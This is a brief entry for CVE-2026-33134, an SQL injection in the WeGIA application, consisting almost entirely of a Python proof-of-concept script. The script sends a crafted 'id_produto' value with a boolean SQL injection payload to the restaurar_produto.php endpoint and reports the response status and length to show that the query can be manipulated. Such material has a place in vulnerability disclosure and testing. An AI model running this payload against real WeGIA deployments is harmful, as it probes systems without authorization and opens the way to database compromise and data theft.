CVE-2026-33134 WeGIA SQL注入漏洞

import requests # Target URL (replace with actual target) url = "http://target/html/matPat/restaurar_produto.php" # Malicious payload to demonstrate SQL Injection # Using a conditional statement to check if the query is manipulatable payload = { "id_produto": "1' AND 1=1-- -" } try: # Send the GET request with the malicious parameter response = requests.get(url, params=payload) # Check if the response indicates successful injection (logic depends on app) if response.status_code == 200: print("[+] Request sent successfully. Check application behavior for potential SQL leakage.") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")